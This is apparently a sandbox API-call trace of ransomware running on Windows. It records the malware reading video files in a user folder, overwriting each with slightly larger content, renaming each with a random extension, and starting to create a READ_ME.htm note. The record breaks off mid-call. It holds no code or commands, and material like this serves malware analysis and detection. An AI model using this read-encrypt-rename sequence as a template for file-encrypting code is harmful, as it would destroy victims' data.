lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\cbz05gkraegsjx 7.avi"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3e6960, ftCreationTime.dwHighDateTime=0x1d8b124, ftLastAccessTime.dwLowDateTime=0xf934ceb0, ftLastAccessTime.dwHighDateTime=0x1d8b6d0, ftLastWriteTime.dwLowDateTime=0x5b4a7340, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xe1a0)) returned 1 [0159.079] SetErrorMode (uMode=0x0) returned 0x1 [0159.080] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\cbz05gkraegsjx 7.avi"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi.e0jmia" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\cbz05gkraegsjx 7.avi.e0jmia")) returned 1 [0159.082] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv", lpFilePart=0x0) returned 0x49 [0159.082] SetErrorMode (uMode=0x1) returned 0x0 [0159.082] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\dadcfjwok75ryqp0ycn.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.082] GetFileType (hFile=0x1d0) returned 0x1 [0159.082] SetErrorMode (uMode=0x0) returned 0x1 [0159.082] GetFileType (hFile=0x1d0) returned 0x1 [0159.082] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x78bc [0159.083] ReadFile (in: hFile=0x1d0, lpBuffer=0x28fde30, nNumberOfBytesToRead=0x78bc, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x28fde30*, lpNumberOfBytesRead=0x21d358*=0x78bc, lpOverlapped=0x0) returned 1 [0159.106] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv", lpFilePart=0x0) returned 0x49 [0159.106] SetErrorMode (uMode=0x1) returned 0x0 [0159.106] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\dadcfjwok75ryqp0ycn.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.108] GetFileType (hFile=0x1d0) returned 0x1 [0159.108] SetErrorMode (uMode=0x0) returned 0x1 [0159.108] GetFileType (hFile=0x1d0) returned 0x1 [0159.108] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a03810*, nNumberOfBytesToWrite=0x78c0, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x2a03810*, lpNumberOfBytesWritten=0x21d3d8*=0x78c0, lpOverlapped=0x0) returned 1 [0159.110] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv", lpFilePart=0x0) returned 0x49 [0159.111] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv.lc80hd", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv.lc80hd", lpFilePart=0x0) returned 0x50 [0159.111] SetErrorMode (uMode=0x1) returned 0x0 [0159.111] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\dadcfjwok75ryqp0ycn.flv"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43ba240, ftCreationTime.dwHighDateTime=0x1d8b587, ftLastAccessTime.dwLowDateTime=0x717e5570, ftLastAccessTime.dwHighDateTime=0x1d8bb8c, ftLastWriteTime.dwLowDateTime=0x5b4f3600, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x78c0)) returned 1 [0159.111] SetErrorMode (uMode=0x0) returned 0x1 [0159.111] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\dadcfjwok75ryqp0ycn.flv"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\dadCFjWoK75rYQp0Ycn.flv.lc80hd" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\dadcfjwok75ryqp0ycn.flv.lc80hd")) returned 1 [0159.113] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv", lpFilePart=0x0) returned 0x49 [0159.113] SetErrorMode (uMode=0x1) returned 0x0 [0159.113] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\ijhxenyfja95maktwqc.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.114] GetFileType (hFile=0x1d0) returned 0x1 [0159.114] SetErrorMode (uMode=0x0) returned 0x1 [0159.114] GetFileType (hFile=0x1d0) returned 0x1 [0159.114] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x1771a [0159.116] ReadFile (in: hFile=0x1d0, lpBuffer=0x12924ba8, nNumberOfBytesToRead=0x1771a, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x12924ba8*, lpNumberOfBytesRead=0x21d358*=0x1771a, lpOverlapped=0x0) returned 1 [0159.192] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv", lpFilePart=0x0) returned 0x49 [0159.193] SetErrorMode (uMode=0x1) returned 0x0 [0159.193] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\ijhxenyfja95maktwqc.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.195] GetFileType (hFile=0x1d0) returned 0x1 [0159.195] SetErrorMode (uMode=0x0) returned 0x1 [0159.195] GetFileType (hFile=0x1d0) returned 0x1 [0159.195] WriteFile (in: hFile=0x1d0, lpBuffer=0x12999fc8*, nNumberOfBytesToWrite=0x17720, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x12999fc8*, lpNumberOfBytesWritten=0x21d3d8*=0x17720, lpOverlapped=0x0) returned 1 [0159.198] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv", lpFilePart=0x0) returned 0x49 [0159.198] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv.c9qwpj", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv.c9qwpj", lpFilePart=0x0) returned 0x50 [0159.198] SetErrorMode (uMode=0x1) returned 0x0 [0159.198] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\ijhxenyfja95maktwqc.flv"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65bff320, ftCreationTime.dwHighDateTime=0x1d8c0bd, ftLastAccessTime.dwLowDateTime=0xcd04cac0, ftLastAccessTime.dwHighDateTime=0x1d8c0d5, ftLastWriteTime.dwLowDateTime=0x5b5b1ce0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x17720)) returned 1 [0159.198] SetErrorMode (uMode=0x0) returned 0x1 [0159.198] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\ijhxenyfja95maktwqc.flv"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\ijHxENyFja95MaKTwQc.flv.c9qwpj" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\ijhxenyfja95maktwqc.flv.c9qwpj")) returned 1 [0159.200] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4", lpFilePart=0x0) returned 0x3b [0159.200] SetErrorMode (uMode=0x1) returned 0x0 [0159.200] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\uieyy.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.200] GetFileType (hFile=0x1d0) returned 0x1 [0159.200] SetErrorMode (uMode=0x0) returned 0x1 [0159.200] GetFileType (hFile=0x1d0) returned 0x1 [0159.200] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x52f [0159.200] ReadFile (in: hFile=0x1d0, lpBuffer=0x28deea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x28deea8*, lpNumberOfBytesRead=0x21d358*=0x52f, lpOverlapped=0x0) returned 1 [0159.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4", lpFilePart=0x0) returned 0x3b [0159.217] SetErrorMode (uMode=0x1) returned 0x0 [0159.217] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\uieyy.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.219] GetFileType (hFile=0x1d0) returned 0x1 [0159.219] SetErrorMode (uMode=0x0) returned 0x1 [0159.220] GetFileType (hFile=0x1d0) returned 0x1 [0159.220] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c1a08*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x21d2f8, lpOverlapped=0x0 | out: lpBuffer=0x29c1a08*, lpNumberOfBytesWritten=0x21d2f8*=0x530, lpOverlapped=0x0) returned 1 [0159.221] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4", lpFilePart=0x0) returned 0x3b [0159.221] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4.3m4q6i", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4.3m4q6i", lpFilePart=0x0) returned 0x42 [0159.221] SetErrorMode (uMode=0x1) returned 0x0 [0159.222] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\uieyy.mp4"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffc7c4e0, ftCreationTime.dwHighDateTime=0x1d8b521, ftLastAccessTime.dwLowDateTime=0xce0a9a20, ftLastAccessTime.dwHighDateTime=0x1d8b852, ftLastWriteTime.dwLowDateTime=0x5b5fdfa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x530)) returned 1 [0159.222] SetErrorMode (uMode=0x0) returned 0x1 [0159.222] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\uieyy.mp4"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\UieYy.mp4.3m4q6i" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\uieyy.mp4.3m4q6i")) returned 1 [0159.224] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4", lpFilePart=0x0) returned 0x45 [0159.224] SetErrorMode (uMode=0x1) returned 0x0 [0159.224] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\wxyit0ktlv3trqi.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.224] GetFileType (hFile=0x1d0) returned 0x1 [0159.224] SetErrorMode (uMode=0x0) returned 0x1 [0159.224] GetFileType (hFile=0x1d0) returned 0x1 [0159.224] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x150b8 [0159.226] ReadFile (in: hFile=0x1d0, lpBuffer=0x129b1718, nNumberOfBytesToRead=0x150b8, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x129b1718*, lpNumberOfBytesRead=0x21d358*=0x150b8, lpOverlapped=0x0) returned 1 [0159.288] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4", lpFilePart=0x0) returned 0x45 [0159.288] SetErrorMode (uMode=0x1) returned 0x0 [0159.288] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\wxyit0ktlv3trqi.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.290] GetFileType (hFile=0x1d0) returned 0x1 [0159.290] SetErrorMode (uMode=0x0) returned 0x1 [0159.290] GetFileType (hFile=0x1d0) returned 0x1 [0159.291] WriteFile (in: hFile=0x1d0, lpBuffer=0x12a1ab50*, nNumberOfBytesToWrite=0x150c0, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x12a1ab50*, lpNumberOfBytesWritten=0x21d3d8*=0x150c0, lpOverlapped=0x0) returned 1 [0159.293] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4", lpFilePart=0x0) returned 0x45 [0159.293] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4.gtfy6p", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4.gtfy6p", lpFilePart=0x0) returned 0x4c [0159.293] SetErrorMode (uMode=0x1) returned 0x0 [0159.293] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\wxyit0ktlv3trqi.mp4"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dd8ae60, ftCreationTime.dwHighDateTime=0x1d8b95b, ftLastAccessTime.dwLowDateTime=0x1bb430a0, ftLastAccessTime.dwHighDateTime=0x1d8bfb1, ftLastWriteTime.dwLowDateTime=0x5b696520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x150c0)) returned 1 [0159.294] SetErrorMode (uMode=0x0) returned 0x1 [0159.294] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\wxyit0ktlv3trqi.mp4"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\Wxyit0KtLV3TRqI.mp4.gtfy6p" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\wxyit0ktlv3trqi.mp4.gtfy6p")) returned 1 [0159.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi", lpFilePart=0x0) returned 0x42 [0159.295] SetErrorMode (uMode=0x1) returned 0x0 [0159.295] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\yqunkpu9e0lm.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.295] GetFileType (hFile=0x1d0) returned 0x1 [0159.295] SetErrorMode (uMode=0x0) returned 0x1 [0159.295] GetFileType (hFile=0x1d0) returned 0x1 [0159.295] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0xa074 [0159.295] ReadFile (in: hFile=0x1d0, lpBuffer=0x28a4078, nNumberOfBytesToRead=0xa074, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x28a4078*, lpNumberOfBytesRead=0x21d358*=0xa074, lpOverlapped=0x0) returned 1 [0159.326] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi", lpFilePart=0x0) returned 0x42 [0159.326] SetErrorMode (uMode=0x1) returned 0x0 [0159.326] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\yqunkpu9e0lm.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.328] GetFileType (hFile=0x1d0) returned 0x1 [0159.328] SetErrorMode (uMode=0x0) returned 0x1 [0159.328] GetFileType (hFile=0x1d0) returned 0x1 [0159.328] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b6118*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x29b6118*, lpNumberOfBytesWritten=0x21d3d8*=0xa080, lpOverlapped=0x0) returned 1 [0159.330] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi", lpFilePart=0x0) returned 0x42 [0159.330] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi.1mazdr", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi.1mazdr", lpFilePart=0x0) returned 0x49 [0159.330] SetErrorMode (uMode=0x1) returned 0x0 [0159.330] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\yqunkpu9e0lm.avi"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x257f1d30, ftCreationTime.dwHighDateTime=0x1d8b376, ftLastAccessTime.dwLowDateTime=0x6efb71c0, ftLastAccessTime.dwHighDateTime=0x1d8b6c3, ftLastWriteTime.dwLowDateTime=0x5b708940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xa080)) returned 1 [0159.331] SetErrorMode (uMode=0x0) returned 0x1 [0159.331] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\yqunkpu9e0lm.avi"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\YQunkpu9E0lM.avi.1mazdr" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\yqunkpu9e0lm.avi.1mazdr")) returned 1 [0159.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\READ_ME.htm", lpFilePart=0x0) returned 0x3d [0159.332] SetErrorMode (uMode=0x1) returned 0x0 [0159.332] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\READ_ME.htm" (normalized: 